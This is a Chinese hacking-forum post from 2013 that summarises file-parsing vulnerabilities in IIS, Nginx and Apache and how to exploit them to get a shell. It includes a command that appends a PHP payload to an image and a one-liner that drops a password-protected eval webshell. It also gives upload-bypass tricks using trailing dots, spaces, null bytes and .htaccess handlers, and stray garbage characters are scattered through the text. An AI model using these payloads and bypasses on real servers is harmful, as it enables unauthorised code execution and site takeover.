找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3303|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
. L9 G* M7 v" _1 }! b% X9 Y- v[+]IIS6.0
: X7 [; I  z/ M0 ] , I4 J1 v& f  a$ `9 o
目录解析:/xx.asp/xx.jpg 4 L" J+ c/ S# n0 Y8 w$ h
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码4 `; A% m' R0 A' C/ W
IIS6.0 会将 xx.jpg 解析为 asp 文件。
7 u% ~; \8 L6 k* [9 R后缀解析:/xx.asp;.jpg     
" s! H! k0 g4 I# Y! U IIS6.0 都会把此类后缀文件成功解析为 asp 文件。: S) U6 x$ e3 Q
默认解析:/xx.asa! d7 E5 S% Z: g4 Y* Y; b& ^  e5 W
         /xx.cer8 E& f0 T7 R! e1 B) D! [
         /xx.cdx
+ K2 W. m9 q3 `3 H2 a4 h4 M IIS6.0 默认的可执行文件除了 asp 还包含这三种, Y# ~1 x0 a9 [6 |; a& n
此处可联系利用目录解析漏洞
& Z* x' p9 ~1 E1 ^" d$ ?6 @6 U) v/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg' B+ q6 h* P" B* V
[+]IIS 7.0/IIS 7.5/Nginx <0.8.038 J0 M4 k; o8 N3 I
: ^# P7 R1 H9 b2 F, T2 E6 H+ K
IIS 7.0/IIS 7.5/Nginx <0.8.030 \5 p: [: i. D3 e
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
  h  C4 l) p! T- R5 V/ V 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
, k/ u! \7 Z5 v5 \" w( h 常用利用方法:
  k3 \& q& l6 @& h 将一张图和一个写入后门代码的文本文件合并将恶意文本) ~# ]- d3 h% v; z; _
写入图片的二进制代码之后,避免破坏图片文件头和尾
6 K2 S  P" m, x( A# } 如:5 Q& O. `( K; C1 B5 k
copy xx.jpg /b + yy.txt/a xy.jpg/ E+ B9 ]0 X2 s8 [
#########################################################' N- }: H& c# q4 v, S
/b 即二进制[binary]模式
/ ^$ u0 d4 K) E0 v /a 即ascii模式
6 S* R/ J+ h* R$ [- h$ O6 ]) h xx.jpg 正常图片文件
2 Q* [- \0 S; g1 O yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),9 `, V  _# j: E5 p' {- p
'<?php eval($_POST[cmd])?>');?>
) l, e$ [8 g. \8 v! R3 B  _/ | 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称$ o/ i+ [" f2 e# Y7 }
为shell.php的文件
8 o* V1 Z- R/ g8 r1 E/ d. s ###########################################################
# V6 ~: `' }% Z/ H( y( o$ O 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 5 P* v' u* O' L! w3 w+ m
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
, k2 Y  @  i& w" ~' q' B; F  S 密码 cmd2 m' o' g9 ~$ n0 Q  P
[+]Nginx <0.8.033 W4 B3 b* `/ D8 H- Q
  }, m: w: N4 g/ H5 x, a) ^$ \
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞/ Y& ~* E, {: ?/ O' _  b: C& @
在一个文件路径(/xx.jpg)后面加上%00.php; f4 C9 ]5 W) E
会将 /xx.jpg%00.php 解析为 php 文件。& t3 }2 R1 o* ~- z: h" o
[+]Apache<0.8.03
9 [3 k* J/ F: u. j 1 J1 |6 V* r% l1 K5 k, Z4 S* y6 |$ v
后缀解析:test.php.x1.x2.x3' n* Z  u9 y- \# U8 M& Z- {+ D
Apache将从右至左开始判断后缀,若x3非可识别后缀,2 H5 g) u4 w5 Z6 u! X; V5 U* G
再判断x2,直到找到可识别后缀为止,然后将该可识别
# A5 A9 S* t/ u# C% N+ T* L6 @- V 后缀进解析test.php.x1.x2.x3 则会被解析为php' K2 n$ G, _6 [- f
经验之谈:php|php3|phtml 多可被Apache解析。/ p; u( ]. P# d) J/ P& m/ k' ]6 |
[+]其他一些可利用的
  K$ _) s" L0 J3 |& ]2 ?, p . f1 z0 c  @7 R1 n& d
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
" V) V3 ^' L  F若这样命名,windows会默认除去空格或点,这也是可以被利用的!! V' C, `2 J8 ]5 B) \; x) X
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
# ^% i) U9 _& `) @6 Y或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可+ x3 u( ^& Z7 N, Z
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。0 Q; H. \8 ^' x. L3 U3 |( K
{Linux主机中不行,Linux允许这类文件存在}
% K2 p0 D  _$ d3 _) E9 ^如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说! O* @/ P. G0 L! W1 R% V
的,当初我并不知道),且可以被上传,那可以尝试在( w" T% B' s( u0 }
.htaccess中写入:- h0 G) L9 s. f) W, j1 b# Y5 x
<FilesMatch “shell.jpg”> : c) }1 Z. c1 C" K2 E
SetHandler application/x-httpd-php ; P5 q8 V) N" V, W. q" v+ S0 t
</FilesMatch>
$ u1 g$ r- c2 z& O9 ?# sshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
' ~1 j, u% D* G1 r8 q[+]错误修改5 s, R8 N- W& ?4 ]
8 {) D/ e* |4 _4 j
在 IIS 6.0 下可解析 /xx.asp:.jpg7 |/ D0 R1 S4 K* A7 c4 n
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
4 d  Q0 k3 \! P8 N6 T剩下/xx.asp}修改:1 X$ U. E) ]% }. p8 c
先谢谢核攻击的提醒3 p5 w2 U5 c+ k$ g: o; e( V
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
* I# v7 D3 D9 K  d( d/ k里是没有任何内容的,因为。。不好解释 大家自己看8 }: d  Y& ?5 X: M' U: ]
http://lcx.cc/?i=2448- r* i4 F" @4 ~1 _8 y+ [
http://baike.baidu.com/view/3619593.htm
2 j& X% j6 ]2 o3 T' l: }" T0 M6 G
8 y1 F* L& N: ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表